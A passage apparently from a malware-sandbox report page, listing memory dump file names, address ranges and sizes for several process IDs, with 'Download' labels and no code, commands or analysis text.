Filesize
72KB

Download
memory/3784-182-0x0000000005280000-0x0000000005312000-memory.dmp

Filesize
584KB

Download
memory/3784-186-0x0000000007390000-0x0000000007406000-memory.dmp

Filesize
472KB

Download
memory/3784-162-0x00000000053F0000-0x0000000005A08000-memory.dmp

Filesize
6.1MB

Download
memory/3784-190-0x0000000006900000-0x000000000691E000-memory.dmp

Filesize
120KB

Download
memory/3784-168-0x0000000004FC0000-0x00000000050CA000-memory.dmp

Filesize
1.0MB

Download
memory/3784-189-0x0000000007940000-0x0000000007E6C000-memory.dmp

Filesize
5.2MB

Download
memory/3784-170-0x0000000004EF0000-0x0000000004F2C000-memory.dmp

Filesize
240KB

Download
memory/3784-188-0x0000000006930000-0x0000000006AF2000-memory.dmp

Filesize
1.8MB

Download
memory/3784-164-0x0000000004E90000-0x0000000004EA2000-memory.dmp

Filesize
72KB

Download
memory/3784-156-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/3784-185-0x00000000066D0000-0x0000000006720000-memory.dmp

Filesize
320KB

Download
memory/3784-184-0x0000000005320000-0x0000000005386000-memory.dmp

Filesize
408KB

Download
memory/3784-157-0x000000000041837E-mapping.dmp

Download
memory/3784-181-0x0000000005FC0000-0x0000000006564000-memory.dmp

Filesize
5.6MB

Download
memory/4264-145-0x0000000000000000-mapping.dmp

Download
memory/4772-141-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp

Filesize
10.8MB

Download
memory/4772-143-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp

Filesize
10.8MB

Download
memory/4772-142-0x000001DE29EB0000-0x000001DE29ED2000-memory.dmp

Filesize
136KB

Download
memory/4772-136-0x0000000000000000-mapping.dmp

Download
memory/4812-165-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp

Filesize
10.8MB

Download
memory/4812-140-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp

Filesize
10.8MB

Download
memory/4812-133-0x0000000000000000-mapping.dmp

Download
memory/4832-150-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp

Filesize
10.8MB

Download
memory/4832-134-0x0000000000000000-mapping.dmp

Download
memory/4832-139-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp

Filesize
10.8MB

Download
memory/4876-171-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp

Filesize
10.8MB

Download
memory/4876-135-0x0000000000000000-mapping.dmp

Download
memory/4876-163-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp

Filesize
10.8MB

Download
memory/4876-138-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp

Filesize
10.8MB

Download
memory/4900-137-0x00007FFBB5290000-0x00007FFBB5D51000-memory.dmp

Filesize
10.8MB

Download
memory/4900-132-0x0000000000320000-0x0000000000330000-memory.dmp

Filesize
64KB

Download